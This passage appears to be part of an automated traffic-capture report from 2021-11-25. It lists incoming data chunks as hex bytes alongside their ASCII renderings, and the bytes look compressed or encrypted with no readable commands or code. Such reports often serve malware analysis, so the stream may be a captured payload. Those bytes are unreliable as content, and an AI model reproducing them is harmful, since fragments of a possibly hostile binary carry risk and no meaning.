44 0a 34 87 94 a8 76 bb cd c5 09 3b 99 80 0a 8c 90 ef 7d f6 f5 03 67 6b 01 23 ee 1c da de 9d 43 ab d1 36 73 44 b8 aa 59 
20 b6 73 76 b7 bb 46 bc b4 3f d4 3a d0 24 bb cd 24 0b 19 d6 64 49 6c 92 dc 22 bb 7a b1 fd 96 5e 6c 75 2f ec 2d a0 9d 3c 
8f d1 25 83 33 9a 8d 56 8e 5c d9 45 dc e8 c6 18 10 ac 88 20 45 dc 54 db 14 7d 73 96 a8 7b a1 42 26 97 87 6d 17 b6 36 
1b b2 f6 61 45 53 dc 3b 68 a7 53 66 2c ee 6a 5a 7d a2 a6 4c 48 e8 88 2d d4 d5 a5 ba 34 4c 16 3e 2c 4d b1 05 65 ab 62 40 
6a 5f 1a 11 6b 7f 49 39 21 34 ee 18 3d f6 3c b5 1a e3 af 5d 7d 5b a7 b8 1f 8b 62 16 85 8a 47 19 af bf 1d 77 27 4a 81 10 79 
d0 e5 a7 d9 0a fd 06 4a e2 0d b5 02 e5 e5 70 7e e5 91 
Data Ascii: 1AjOo,b3W1Q</\D4v;}gk#C6sDY svF?:$$dIl"z^lu/-<%3V\E ET}s{B&m6aES;hSf,jZ}LH-4L>,Meb@j_kI9!4=<]}
[bGw'JyJp~

2021-11-25 16:27:48 UTC 776 IN Data Raw: b0 d0 8b 18 96 db 6c be 22 7f 97 f6 b6 91 23 87 be ed 6a 18 b5 dd 06 a4 f2 d6 ea 4b c0 e0 a5 56 0e 4c 5c 6a 
51 df 76 89 0a 70 f2 eb 2f 82 a9 0c 52 2e 87 a9 82 83 3c 9c b1 db d2 8f 2b 4d a7 c1 60 f4 f9 f0 ee c0 b1 68 5e 24 ba 15 98 
09 68 86 33 5b dc eb 60 3c 40 3a cd 60 91 77 26 3e 86 68 4e 2d 76 9e 03 f5 4a 57 59 7a 1e 4a cd 6f 36 3c 0f fd bb 1b b1 
3c 6b ec ae 0b fa 62 66 84 43 1e d5 94 33 74 52 84 45 fa a4 5b 36 99 b8 d8 e6 ec 71 01 a1 2e 8d d6 6a 7d 13 03 7f 21 bb 
70 6e 51 1e 03 7d d4 8b f8 4b 0d a0 b6 54 8c 60 59 78 be b2 94 31 08 55 b3 5f 94 c4 12 8a 1c 87 f6 b4 5b 73 ea 15 97 c8 
17 56 2f cb ad c4 b8 84 45 d4 4c d0 0c d2 b8 8e ad 79 8a f4 82 e8 b8 13 98 24 bd a8 cc da 95 bc 18 70 8d a0 45 60 50 a7 
70 10 88 f2 1c f2 72 29 1c 87 88 ab d4 de d1 b3 56 91 
Data Ascii: l"#jKVL\jQvp/R.<+M`h^$h3[`<@:`w&>hN-vJWYzJo6<<kbfC3tRE[6q.j}!pnQ}KT`Yx1U_[sV/ELy$pE`Ppr)V

2021-11-25 16:27:48 UTC 778 IN Data Raw: 40 33 44 e5 59 3d a8 59 57 7f 5b be 29 97 04 b9 2d 07 8f 30 6a 85 bc 2d ca 09 c1 5c 18 ee 91 1b ee 90 96 90 
29 f2 ee 9c f9 ed 52 da a0 db ea 55 4c 72 02 ed 1a 7e e0 d1 07 7c 98 ca 98 2e 86 5f e5 04 7d 89 ab 5b db 1d 08 2e c1 48 
71 5c 30 a3 ec f2 6e 2a 33 15 eb aa af 32 3c e3 68 63 0e 9d ca 5a 94 07 d7 a6 3e 19 b7 10 41 f5 fd 82 12 de 9b 75 10 dd 
a9 89 69 e0 cf 77 c8 e7 79 de 77 48 e9 2d fa a3 eb 90 32 af 29 63 ee b9 66 d5 25 29 3b 4f 78 ad 82 ad 44 ef c1 55 f2 f4 42 
83 f1 a8 dc e2 40 98 6d 96 e5 d6 ca b5 5f b1 7e 6a 56 ec 68 56 7c 6d 7b d5 e2 69 0b 68 69 0a d2 f1 9d 9e 5b 68 0c 4f e9 
82 e6 80 21 9c 2e 7d c9 25 d3 9e 01 82 21 8e 56 cb d1 54 fb 62 59 26 2d b5 9d 22 cc 5d 63 24 25 91 40 55 ef ef 03 77 95 
73 5a 40 b0 96 25 58 c2 e2 3f 4b 23 ab 32 a3 b4 d7 e0 
Data Ascii: @3DY=YW[)-0j-\)RULr~|._}[.Hq\0n*32<hcZ>AuiwywH-2)cf%);OxDUB@m_~jVhV|m{ihi[hO!.}%!VTbY&-"
]c$%@UwsZ@%X?K#2

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 779 IN Data Raw: 7b 0a 6b 44 71 14 4b df 1e e0 b7 16 7f 2b 7c 6a e7 c5 5e c2 7f fe 32 76 9d 97 b0 d5 86 0e 25 18 ef 32 0f 95 97 
29 0f 50 d4 61 a5 b4 31 e5 05 fc 67 15 e4 fa d3 94 72 3e a1 e8 59 0f e0 dd 78 85 52 67 67 f4 7e 36 07 96 99 be 5b ef 18 
12 72 68 65 10 8d 36 64 b2 d2 6a 6d 4e 9c 4e 19 a6 d1 0c 70 17 57 56 48 81 ea 96 4b 4a ba c8 60 f1 a6 9c a9 90 42 99 
96 b2 e0 64 32 5a aa 0f df 79 e2 14 fe a3 3e 3e 89 3e 39 f4 aa df a8 b3 51 f5 71 d7 7e f0 90 c2 5f 12 c0 2e 46 3a 3d 79 f9 
fa e5 05 de 15 a8 c7 76 6f 2b fe 28 1d fe 51 d8 68 df 57 01 48 dc d6 71 18 75 9c 3a 47 11 75 2f 62 f7 65 b4 1a 76 5b c7 90 
d8 9f cc e7 0b f8 90 64 a3 09 46 0f 3a fa 11 a0 79 e0 d5 65 a6 66 14 2f dd e8 9f 9c e8 6d c5 87 0f fe 6f 29 ba 34 a6 5f e8 f1
33 ff 97 44 3c 93 7f d5 cf b3 ea de b4 1e 72 
Data Ascii: {kDqK+|j^2v%2)Pa1gr>YxRgg~6[rhe6djmNNpWVHKJ`Bd2Zy>>>9Qq~_.F:=yvo+(QhWHqu:Gu/bev[dF:yef/m
o)4_3D<r

2021-11-25 16:27:48 UTC 780 IN Data Raw: ee 1a 81 78 15 c5 5b d8 66 9a a8 4b 0c ed 3f 3a da 3a a9 7b 8f b5 4d 9c de 3d 4f 6a 2b f9 a8 f1 25 9f 37 9b 33 
15 7e 9c af 4c fb 30 7c 8e d0 94 16 b0 2b a7 27 8f 1d a2 a6 17 d9 fb f5 68 91 f9 5d 99 c9 f9 f3 cf 0e 3d f5 44 1e 8a 10 87 
b7 44 76 93 02 41 1e 58 db 85 bd 68 4c 78 ac 62 c3 0d d8 40 c6 c1 bf 8e 5f c3 73 1b 48 29 9c 50 48 a3 5f c7 df 57 71 4c 
80 40 b1 08 7b a0 f9 72 35 05 54 ed 22 ad 41 a0 dd 29 03 1c 11 7b 7d 4f 49 ed 4c 6a 01 56 2d ab 1c 18 6b 73 58 71 16 05 
c3 d2 aa 42 31 4b 89 02 0f 52 e4 13 a0 77 a7 98 fe 02 f6 15 3a 10 70 1d 5e b1 8e 18 a3 56 1c d2 f6 07 29 0e f2 fc 93 65 
29 69 85 7f a6 9a 18 a5 ed ac 6c cb b1 92 61 ab b9 03 8a bc 36 b4 76 82 d7 34 ce 4f b4 e6 65 c9 64 d6 49 dc 21 1f 22 9e 
7f 46 ca 69 13 18 c3 21 1a 6e 68 aa 2a b3 a8 2a 99 
Data Ascii: x[fK?::{M=Oj+%73~L0|+'h]=DDvAXhLxb@_sH)PH_WqL@{r5T"A){}OILjV-ksXqB1KRw:p^V)e)ila6v4OedI!
"Fi!nh**

2021-11-25 16:27:48 UTC 781 IN Data Raw: e7 76 26 d7 71 14 b9 d0 e0 14 e5 ce 04 12 1a 58 4e d1 75 33 d9 fc 02 8a 9d 3d 8c a8 3b 33 f6 71 8a 9d 12 c5 
31 c2 58 77 d6 86 30 5a 1b 93 09 da d7 b6 b6 3a 8e 28 b4 3d be ad 3c 11 85 ab e3 59 67 e6 af be ad 4d 84 f2 f6 fa ae 36 
91 79 cd e7 81 e2 45 12 00 9d 62 33 32 bd d4 d6 d7 61 f3 29 4e 37 06 f0 3d 27 ef f6 bf ea 6d 74 78 e8 d0 dc ea 5b 14 5c 5f
62 16 4e 3b 2d a5 34 b2 82 97 76 4b bf 5e e3 ab 7a 79 cf 85 6e a4 0c 29 88 42 75 60 04 b5 2c 54 18 3b 18 84 1a 65 12 38 
eb 50 2f 2e 63 1d 4f d1 09 d8 fb 26 c1 f3 16 53 fa 93 f9 07 cf 48 7c 75 23 d3 3a c6 92 5f bb e5 bd a2 06 6b eb af 83 88 ec 
48 8b 67 d6 d4 ac 82 f1 05 50 6d d5 17 75 25 5c 8d c7 61 fc 30 9c 6d 45 5f 1e 61 68 ec 9d 95 1b 82 13 e9 7f d5 d0 0a 1b 
3a 0e 57 dc 10 9e 50 63 68 68 50 6a 88 ce 99 aa 96 
Data Ascii: v&qXNu3=;3q1Xw0Z:(=<YgM6yEb32a)N7='mtx[\_bN;-4vK^zyn)Bu`,T;e8P/.cO&SH|u#:_kHgPmu%\a0mE_a
h:WPchhPj

2021-11-25 16:27:48 UTC 783 IN Data Raw: 08 1d 1c ac 26 31 a6 56 68 09 19 b6 62 62 2c 26 88 43 f2 a3 e2 79 df 1a 9d b4 33 de 6c fa ae 51 41 1f 25 50 fd 
20 ed a6 f2 da b4 5e ef e1 01 7b c0 5a c0 8f e7 53 d6 02 06 3a 7b 0f ab 73 44 8d eb 45 03 b4 5b d8 24 33 b4 a9 83 fd 43 
eb 8e 30 38 93 38 e8 e1 07 2d 4a dd 09 5e 65 c9 ed e5 22 8b 40 0a 40 62 8c 6a f9 4d 75 2b 45 ae 06 f9 03 2a 78 4f c2 93 
18 ed 93 b1 7a b4 6d a7 95 ec 4e bc 66 0a 09 16 89 bd 8f 1a f5 11 15 91 8a 45 62 c8 4f 3c 79 3d f1 2b cd da 4a 1e 18 6f 
d0 88 7f c9 7a 3d b3 64 38 5f 5c 24 b8 5d 2d ad 9e 2f 1e 04 a7 8f 4d a2 e6 fb c2 cc 55 ce b3 81 17 fe 8a 9a b3 f9 fc fa ce 
b3 84 c6 78 46 95 6c 36 59 73 b9 48 e0 38 c9 60 b9 03 56 4a 11 31 43 2f b3 66 b4 5e cd 97 04 7f c5 41 9c 89 a9 98 89 95 
e2 e0 60 ed 88 6b f1 5e 58 cc d2 35 0c dc 75 3e 37 
Data Ascii: &1Vhbb,&Cy3lQA%P ^{ZS:{sDE[$3C088-J^e"@@bjMu+E*xOzmNfEbO<y=+Joz=d8_\$]-/MUxFl6YsH8`VJ1C/
f^A`k^X5u>7

2021-11-25 16:27:48 UTC 784 IN Data Raw: 29 e7 d3 20 5e 57 c4 88 94 5f 52 85 d3 55 f6 32 46 a6 03 cb b0 9e e3 13 ea 36 12 8e 94 f8 85 16 98 06 55 06 
dd 9d 75 76 77 65 da c2 7b 6b f9 32 4a aa 29 2e 13 9b 3e b1 6c 2c e8 ca 10 32 18 98 b7 fc ea d6 2f b9 3d cf 1b 4b f6 45 
e6 48 52 5c a3 5d 8d b6 64 89 4f 6b c5 64 43 c0 31 86 4a 51 b1 77 a8 19 41 76 52 2f bc 29 2f 6a d4 47 78 ea c8 6f 8e ab 
59 30 d0 0a 56 cf b5 94 c4 42 72 49 28 60 e3 00 59 76 44 88 74 4b e6 42 88 11 d3 80 48 5b 78 25 19 14 68 3c dc da 0f dc 
ce c1 6f 9e 2b 8c 80 bb c6 73 71 49 a4 b5 1a d4 c6 e6 12 08 5b 92 50 8e 0b 87 19 69 28 8f c0 7f 10 df ea 59 74 05 11 7e 
8b 14 a2 b4 04 a1 c0 27 5a 4e 19 0b 3a 39 69 b0 ba 18 e6 04 2c b0 c5 52 4e 81 18 f9 05 8c 97 85 7c 59 c6 e5 c4 7a 7f ec 
33 03 d6 64 9b 69 8c c4 92 af fd 17 c4 11 c0 a6 97 66 8c 
Data Ascii: ) ^W_RU2F6Uuvwe{k2J).>l,2/=KEHR\]dOkdC1JQwAvR/)/jGxoY0VBrI(`YvDtKBH[x%h<o+sqI[Pi(Yt~'ZN:
9i,RN|Yz3dif

2021-11-25 16:27:48 UTC 785 IN Data Raw: f9 f1 4c 7a 9d 8a 60 54 bb 43 f8 6a d2 c9 8e 4a fa a7 2e 14 6e b7 e5 ee b4 c8 57 4b fa 3b ba e9 7c 1d a7 25 2c 
84 e9 d7 a7 59 92 35 aa d0 23 5d 43 28 1c 06 ee c5 c3 f7 9f 2e f9 9f df 71 c8 ac f7 2e 0f c2 28 a5 67 bf a3 ec 3d 9d 0b 6a 
23 b5 5b 17 dd 57 45 34 be ea 1a 1d 1c 61 93 99 a5 2d 37 02 e0 6d b2 cc 6e 4a 20 39 e3 b8 21 4f 44 89 88 18 c5 60 00 
0b ae 71 65 51 5f 35 81 3a 12 05 f3 68 94 cc c3 b1 78 e0 c5 0c 63 f1 20 97 2e 0e 93 5a 66 39 55 9a dc ab ed ed 65 a4 92 
d2 8c c0 3f 23 33 d7 c8 4c 2c 30 46 70 d0 c8 8b 9a 29 d3 a0 a4 73 1e 42 85 3c 36 83 32 49 65 ef b8 4e 25 b0 16 16 5c 91 
d4 ee c7 22 7e e7 d6 44 0a ba c6 48 1c 96 7c 5e 22 73 d8 91 50 f9 89 ab 68 72 f1 07 ba b3 27 17 ff 85 94 0c 93 8b 3f d2 
c1 0c 1f f5 a2 b2 27 53 6b 4d 60 32 b0 bd 3d 51 0e a1 
Data Ascii: Lz`TCjJ.nWK;|%,Y5#]C(.q.(g=j#[WE4a-7mnJ 9!OD`qeQ_5:hxc .Zf9Ue?#3L,0Fp)sB<62IeN%\"~DH|^"s
Phr'?'SkM`2=Q

2021-11-25 16:27:48 UTC 786 IN Data Raw: 54 6f d0 81 58 78 5b 6b 6a b7 3d e4 62 7b db 80 60 97 29 d2 42 6b 56 47 a0 02 04 02 17 77 df de c1 60 ff 10 
d7 f5 de 9e 92 38 ca 0a 08 49 47 5c 84 e0 c5 bc e1 0f 23 b7 3e 6a b5 f3 a7 17 98 2f 88 86 0d 7f ad b1 06 44 6e 82 d2 be 
5d df 7b 71 70 08 93 48 76 a5 30 54 7c 21 4b 88 25 82 42 32 9c da 97 a7 7f 24 cd a3 85 50 61 84 fd 14 94 84 b2 32 14 9f 
0f 45 9e d7 40 3e fa 75 bb e1 48 e9 71 1b f7 32 11 1b 66 d3 63 a2 76 85 61 25 1b 9b 8c 9a d5 db 23 11 50 4c 17 06 a3 33 
f3 e5 91 37 30 c0 01 bf cd 90 20 34 4b 6b f7 7c 57 9f f6 bb bb 27 43 f6 d6 1e 11 21 8b c3 81 ea 1f 9b 3e e6 16 80 7b da 20 
fe c1 64 66 44 cc f6 5b 8e 94 f3 7c da e6 f1 c5 d2 3c ba 5d 3f 9a fa 08 5c 05 c9 85 8b 98 43 a5 37 74 fb f0 c2 55 14 af 6d 
bb 2d 9d ae 35 75 78 25 92 d2 81 aa 73 23 e1 8c 27 
Data Ascii: ToXx[kj=b{`)BkVGw`8IG\#>j/Dn]{qpHv0T|!K%B2$Pa2E@>uHq2fcva%#PL370 4Kk|W'C!>{ dfD[|<]?\C7tUm-
5ux%s#'

2021-11-25 16:27:48 UTC 788 IN Data Raw: 22 c3 99 79 3c 18 d9 9e 9b 3c 8a b1 1a 74 18 d1 b6 1d 8b bd 3f de 34 04 6f f0 29 5c 29 a2 70 36 b3 dc c0 bf 64 
3f d1 bc d6 3a 1c 22 8d 28 25 63 c4 21 9c e5 9f 2c 72 26 ba 18 0d 1d 83 dd 21 42 4a d9 43 38 97 6e cc 8e 0c 33 64 58 f2 
6f e1 ca a8 fc 81 54 f1 9e 1a eb 5a 11 16 e9 7f 7a 0a 2f a8 db f6 14 f4 a0 03 6b 36 bf 69 0a bf b0 6e b2 c3 cb 52 0c 42 c4 
73 bc 99 27 0d 4a 32 a6 43 2f f2 dc 2d 5d 2b 85 c9 03 9e c2 18 01 37 7c 8e 7b 31 60 0f 46 14 40 ed 03 43 68 cf bf 9a 7d 
53 04 00 c3 5b f3 ec 53 4a c3 b2 fc c0 2f 74 46 89 a6 39 14 72 ff 96 44 98 af 2f bb 1d fe 55 70 04 4e 3f cd 99 cb 2f a0 65 
b9 00 71 d0 a9 9c d2 85 63 e9 a2 3d 66 dc b7 9c a7 1c 1e ec 00 8a 65 2b 6e 80 18 2e 5c cf f3 cc 37 bf d6 5a 20 3f 19 5c 
29 e4 e4 45 ca e4 f1 aa bf cc 97 30 a6 8d a5 04 
Data Ascii: "y<<t?4o)\)p6d?:"(%c!,r&!BJC8n3dXoTZz/k6inRBs'J2C/-]+7|{1`F@Ch}S[SJ/tF9rD/UpN?/eqc=fe+n.\7Z ?\)E0

2021-11-25 16:27:48 UTC 789 IN Data Raw: 00 e1 9b e8 cd 60 d2 8e a6 df 04 62 a4 18 11 51 71 0d 2b 0e 56 cc ce 3d 81 0e eb 13 e0 22 31 95 10 59 b6 10 
da fc 52 cd 60 7f 3d 0f f9 72 19 5c c1 30 b7 5d 91 4b f5 69 17 ee e4 2a 7b 81 1c 25 2c 26 b7 b7 63 41 50 4a 11 da 74 f8 85
e9 58 e4 ce e0 fe c9 5d 75 4e 4e cf e0 aa 6b 8c c6 88 82 d9 50 8b 6a 66 0d 11 cd c4 8e 29 2c d3 c9 4f bb 86 12 6f 49 58 
b4 06 12 7b ed be 63 91 a0 94 fb 36 5f 4e 84 d1 0c 0f cf 58 1d 65 89 e2 f8 4d 4b 20 07 31 95 65 58 1e 11 e3 aa 31 28 af 
a6 e6 86 63 38 d0 07 ee 7d 34 a6 08 7a b8 99 ac 1c 7c d1 da c2 da 36 42 ca 13 95 35 c2 5e 15 2c 02 e4 2a f5 f0 08 57 c0 
d0 0c 6b a8 d3 f0 41 3d 2e d4 e4 58 2d 96 7a 81 01 28 67 6d dc b3 29 ba b8 36 d2 34 c2 8c 1b 62 af 62 66 30 e4 9b cc 37 
8d 18 66 88 7f 4c f4 34 72 f7 b2 e7 16 ef 82 4d 42 4f 
Data Ascii: `bQq+V="1YR`=r\0]Ki*{%,&cAPJtX]uNNkPjf),OoIX{c6_NXeMK 1eX1(c8}4z|6B5^,*WkA=.X-z(gm)64bbf
07fL4rMBO

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 790 IN Data Raw: 08 14 cc 46 66 a9 38 15 19 6a 96 3c e5 74 72 13 2c c6 04 86 ab 71 f8 3c 71 8f 69 e7 57 63 dc 26 8e 8f 88 18 af 
84 69 f0 a5 0f 43 cd 22 bf 66 13 06 db b9 47 16 17 2e cd a3 8c b2 b4 4a 7f 45 4f c1 ab c9 5a 88 cc e5 6b 43 e9 97 c5 44 
9d 10 fa 1b 23 a0 99 7b 1b 05 4f 69 c9 b2 e5 aa 0a b2 c4 07 45 44 24 4c 84 df 08 c3 11 1c 4f fd 72 5c a4 cb 2a 58 ce a4 
b3 60 50 ce 7c 41 c9 07 d5 cc 17 19 41 82 bf 4c fd 3a 37 48 f0 5a 3d a9 5c 2a c1 2b 94 b0 e5 45 f0 56 ff 44 10 88 e0 af fa 
f1 6d 4c d0 28 9e f2 e8 2a 38 e5 9f f5 79 3f c3 33 e2 53 04 27 f8 05 33 90 20 c5 00 5e 4e 82 1f 51 22 e3 82 07 7f 13 0f 69 
15 fc 0f 7e bd c9 33 0c 85 b3 41 8d 50 bf b6 a6 9d e0 51 98 64 06 53 fc 86 79 4c 30 e3 5f 30 f0 08 7e e1 9f ac c9 0d ae ea 
df d0 5b 07 f3 fa 59 45 20 58 a0 48 79 89 26 
Data Ascii: Ff8j<tr,q<qiWc&iC"fG.JEOZkCD#{OiED$LOr\*X`P|AAL:7HZ=\*+EVDmL(*8y?3S'3 ^NQ"i~3APQdSyL0_0~[YE 
XHy&

2021-11-25 16:27:48 UTC 792 IN Data Raw: 24 9b 11 cc c3 38 61 9d 47 77 70 78 fb e2 fc f5 2b da 32 a2 de 1c ff e9 d9 59 e0 8c 4b 1a e5 8f a7 54 88 64 df 
fe e9 c9 d9 db 1f 4f 9f 9e 7c e0 22 e2 a7 f3 15 dd 77 3f e2 d5 f9 c9 eb 77 af 08 7d 89 57 0a f1 f3 ab 1f a8 a1 5f 10 11 e8 6c 
1c 3e fa e0 5e 44 7b bf 5e 7a 8f a6 fe 6c ca dd 2b a2 d4 1b 7c 36 19 cc 27 89 61 96 e2 8f 62 61 87 e7 8a 1b 82 68 0b c9 
ed 4a 26 c5 ad f3 b6 08 31 f3 8c 6e 06 84 75 93 c6 52 8d da ce 61 09 d2 ee 31 d5 60 f9 df ce 9f e1 6e 50 26 55 cf f9 f1 fc 
d9 de 9f 9c c1 fb ec 7d 76 91 4d df bf 0f 38 51 db a5 df bb 50 49 db f0 1b dc dd 9e 59 f0 d9 78 7a 9f f5 d5 83 df eb d7 6f e4 
0b d8 1b 07 59 5e b9 fd 86 f1 b1 d7 bb 7d 9f f5 7a 71 4a 28 80 18 9a 5e 46 fb d6 db 4a 17 4b 3a 4d 51 56 d1 98 d6 18 16 
8f 0a 84 79 a3 fa 88 c0 e9 4a 55 42 db 
Data Ascii: $8aGwpx+2YKTdO|"w?w}W_l>^D{^zl+|6'abahJ&1nuRa1`nP&U}vM8QPIYxzoY^}zqJ(^FJK:MQVyJUB

2021-11-25 16:27:48 UTC 793 IN Data Raw: 3a 8c 67 3b e6 57 9a 13 04 1a 96 0b a5 91 1a ad 4c 2b 3a 87 ba ee 68 bc 39 92 78 e8 55 81 ed 06 ef cc b1 da 
17 c2 24 b4 35 85 b0 ed c8 6b fd 55 e5 ab 23 2a 9d 4d 53 91 88 c4 83 69 29 2f 99 27 9b 17 81 19 3c ff b7 b7 cb 31 2f 4c 
b5 70 d1 39 25 11 fd 9d 16 cb a2 c9 d4 54 0b b8 50 34 a0 ae e2 30 34 fc aa 6b ed e5 44 e8 2d 61 45 c7 85 6b 71 52 bb 16 
0f a9 64 97 66 e7 39 01 1d 69 57 e5 8f c8 c2 94 e6 a6 49 08 bb c3 0c 1d 66 6d ba 23 c4 36 0f aa 10 61 1f f0 33 cc 05 64 
bd 26 6e 3a e2 a6 55 48 61 58 87 a9 e4 08 6e 49 c7 e5 a2 ea 83 e7 8e 2e 39 32 99 84 c7 b5 20 2f d6 c6 a5 c9 61 cf 8c d8 
c7 a6 3a ee 22 a9 db 48 74 1b 06 9e 12 c0 aa d6 25 a3 09 82 f0 c1 2d 43 24 40 86 f8 ef 90 2f a2 53 e3 e8 c6 e2 23 71 8e 
2e 1c 70 3d c4 8c 7f 76 6a c8 1c 56 43 ac 41 00 82 21 b8 
Data Ascii: :g;WL+:h9xU$5kU#*MSi)/'<1/Lp9%TP404kD-aEkqRdf9iWIfm#6a3d&n:UHaXnI.92 /a:"Ht%-C$@/S#q.p=vjVCA!

2021-11-25 16:27:48 UTC 794 IN Data Raw: cf 8b 24 f9 29 9a 5f 41 c0 e3 63 a3 9e b1 e4 a8 7f f6 e2 ed 4f 1f ce 4f fe e7 5c 38 7e 43 00 93 43 19 9d 84 19 87 
d6 e1 98 35 de c0 4b 99 5e 71 f3 dd 30 31 c3 38 6b a6 24 97 eb c6 34 4d 43 0a 48 a3 1a 24 c6 1d cd f2 39 b3 c0 a3 bd ae 
06 82 1a 37 a1 93 40 41 39 b3 34 6f e2 88 c8 8e 3d a1 82 70 6a e2 60 dd 10 cc 08 c6 aa eb 84 28 39 50 65 81 9f 8a 48 da 
ec 48 e0 40 9a dc e6 b7 f3 24 26 a4 b4 a9 0a 1d 8c 31 15 88 3a 26 83 74 ec 6a 2a d3 24 58 62 25 bd 01 37 2f 52 6e 7c 0c 
55 7e ae 86 55 44 58 c9 72 65 5b 17 66 be ce a6 06 cd 58 98 eb 67 65 b0 12 a6 22 e9 2b 21 5b d0 8d ef 8a 44 a4 19 87 
8d 13 08 dc 93 4c 84 f8 ee 20 b9 2d 1e 1e b1 06 23 39 30 3a 1c 6b d9 11 ed 15 8c f9 3f c2 d5 be 31 5a 11 a4 52 0c d4 0a 
50 e3 18 c3 33 8c 25 8c 75 30 32 bb 98 eb b3 be f4 63 
Data Ascii: $)_AcOO\8~CC5K^q018k$4MCH$97@A94o=pj`(9PeHH@$&1:&tj*$Xb%7/Rn|U~UDXre[fXge"+![DL -#90:k?1
ZRP3%u02c

2021-11-25 16:27:48 UTC 795 IN Data Raw: f1 cf bd 6b f0 86 b4 cd 0e 5f 5a 3c ee cb 7a 58 4f 6a 10 e2 db 9a 08 69 9d 7f a3 2d 7f 1d 68 f1 ac 82 c5 6b 2c 96
14 cb 4e e6 10 f3 c1 ce 86 98 d2 8a 68 8d 2d 24 94 a8 65 91 f4 48 a4 48 1a 3a 87 ce 6e b1 eb f4 58 af f3 f8 f0 11 3f 3d a6 
7d ee b0 a2 5b 12 5a 4f 97 9f a2 39 b5 f7 08 1d 8c 56 d3 f2 ff fb ef bd 32 5f 24 7b 20 57 f7 24 e2 2c f7 c6 34 cb bd 51 b2 87
5a 7b f2 82 4b 38 b7 e5 eb a8 b8 5a 2d 7b 3b b7 fb eb 9d de 22 ba 61 3b b5 4f 79 71 85 7c 7a 42 a9 91 c4 50 49 bf 3c e9 
3d 11 ce 18 65 bf 47 f7 74 b9 9a 57 f4 d9 01 7d 06 31 4b 9c 50 9b f3 b2 ef 10 7f c1 9b 32 ef c3 da 6d 1e 81 86 fe f7 77 72 
91 fe a7 96 e4 d2 b3 e4 03 3f aa 23 05 72 f1 23 88 86 db 7b 37 5a a0 07 27 f8 c9 ad fc 1b 61 c9 83 e0 cd 32 8b d5 c0 00 
06 d4 78 48 35 d2 f2 4d f4 46 a9 c1 11 
Data Ascii: k_Z<zXOji-hk,Nh-$eHH:nX?=}[ZO9V2_${ W$,4QZ{K8Z-{;"a;Oyq|zBPI<=eGtW}1KP2mwr?#r#{7Z'a2xH5MF

2021-11-25 16:27:48 UTC 797 IN Data Raw: 97 80 1f e3 8d 58 31 19 5f c0 d9 6e 2c f2 53 19 d3 8e b5 c2 56 1d b5 4d aa c6 22 cd 5e c9 6d e6 ae d4 a3 83 
1b 2b ba 11 a5 c7 f8 e9 f8 da 1d 44 94 1e d5 de 21 13 e4 4b 23 a2 54 2f d8 22 7e 66 16 89 6f 65 94 09 fd b1 8a f9 07 8c 
29 22 48 f0 97 af d5 a3 7c a3 f8 b0 66 15 ab 5c ee 9a 51 e7 a5 7e 96 ef 5e c6 c6 8b 97 74 70 09 3e a2 65 a2 82 23 f0 bb 
13 b3 88 d6 a0 c8 97 10 8c 31 90 ca b5 30 8b ea 1a ef 94 6f 1d 37 73 dc 28 75 58 2d 53 3c e1 db 47 b4 f3 b4 2e a8 8f cc 
eb a4 2c 23 6c d6 9f 8d 0d 95 85 b4 1a 31 a2 39 c8 8d 82 81 d4 ba 4b 66 a3 a9 e1 44 7a 4d f2 e4 0d d1 09 dd 51 a2 bf 3d 
ba 10 e5 06 a2 30 cb f7 22 10 43 69 79 c5 c9 b2 f7 40 2d 8b 5f 2a bc d6 e5 3d 36 eb 0d 1a 3f f1 2e 65 20 1d 70 14 b9 30 
d7 00 11 69 9a 8c 6b 61 0a 1b c6 bc 91 94 27 5b 4c 8b c8 
Data Ascii: X1_n,SVM"^m+D!K#T/"~foe)"H|f\Q~^tp>e#10o7s(uX-S<G.,#l19KfDzMQ=0"Ciy@-_*=6?.e p0ika'[L

2021-11-25 16:27:48 UTC 798 IN Data Raw: f3 f6 bf a5 23 68 4a bf de ef 04 9d 00 d7 12 68 75 b0 50 02 f9 59 1e 8a 5d a4 dc a6 a9 0a 7f db a4 70 3a 1b da 
19 b4 96 1f 40 28 15 41 20 f9 92 c8 5c ae 26 54 60 ed f6 ca 59 91 66 57 f7 bd c3 f5 1f 3a 07 6d 88 fc c6 1d ad 27 b9 71 84 
ff be 0d fd 4f 6c 67 e7 1e ac f9 34 b7 45 fe 5a 8c db 20 7b 0f 57 73 63 25 36 cd f6 5e d1 8a d6 48 b4 6a 81 a2 a6 db 63 c3 
65 bb 81 d5 a9 0d 71 37 20 18 82 c4 13 ce ec dc c9 69 f3 e7 9c d2 7a f3 e7 af 38 e3 f5 e6 cf 71 8d 7f b3 7c 41 6c 07 9a 27 
32 a1 2d a6 4b bf bc cc 0e 78 96 d2 d5 3b 35 74 98 4c 06 50 0a d3 47 1b 50 99 83 21 34 5a 25 0b 98 fe 75 0d 58 46 41 e9 
10 6d 9b 00 a9 14 2a 04 88 7c d3 f5 c2 30 ec be ed f9 6d 7b d7 ea 4b 5f f0 50 0c e1 42 bc 73 2f cf b3 4b 67 41 56 e0 a6 3b 
00 a2 f7 85 6b 53 8c dd 15 df 77 c9 f0 c5 
Data Ascii: #hJhuPY]p:@(A \&T`YfW:m'qOlg4EZ {Wsc%6^Hjceq7 iz8q|Al'2-Kx;5tLPGP!4Z%uXFAm*|0m{K_PBs/KgA
V;kSw

2021-11-25 16:27:48 UTC 799 IN Data Raw: 04 10 23 a8 df f9 ab 66 54 02 65 65 13 b3 95 0d 47 78 3e 8f 0a 98 70 c3 a7 c7 f4 1d c6 f2 35 1c 12 95 89 f3 dd 
5d d7 db 68 c3 0b f8 5d 27 93 f4 33 52 4a 29 f6 84 ed 5d 10 7e 6e 35 68 20 3a b1 02 f5 8d f7 97 e4 66 a5 d3 d2 84 b6 a1 
d4 55 72 f3 14 c2 31 84 18 fa cb c9 df 3f 3c 7d 7b 7c d2 3f 39 7b 7a f4 ee 64 7b 7b d3 fe f9 73 de f0 2b b4 4b e8 69 63 5f 
84 a3 84 eb 05 a4 fb 1c 87 87 6e aa d3 66 fc 63 41 56 75 80 2e 22 22 81 6f 5e 19 db 23 4a aa f6 9e 7c 25 2c b8 da d8 bf 
f1 c2 f3 5b 57 03 6c 8d 1a 45 ae 08 0e 61 8f 14 b6 ca d6 06 30 19 d7 3e 28 c2 e6 bb 35 48 14 9b 37 1a 6e 17 83 1c 4a bf 
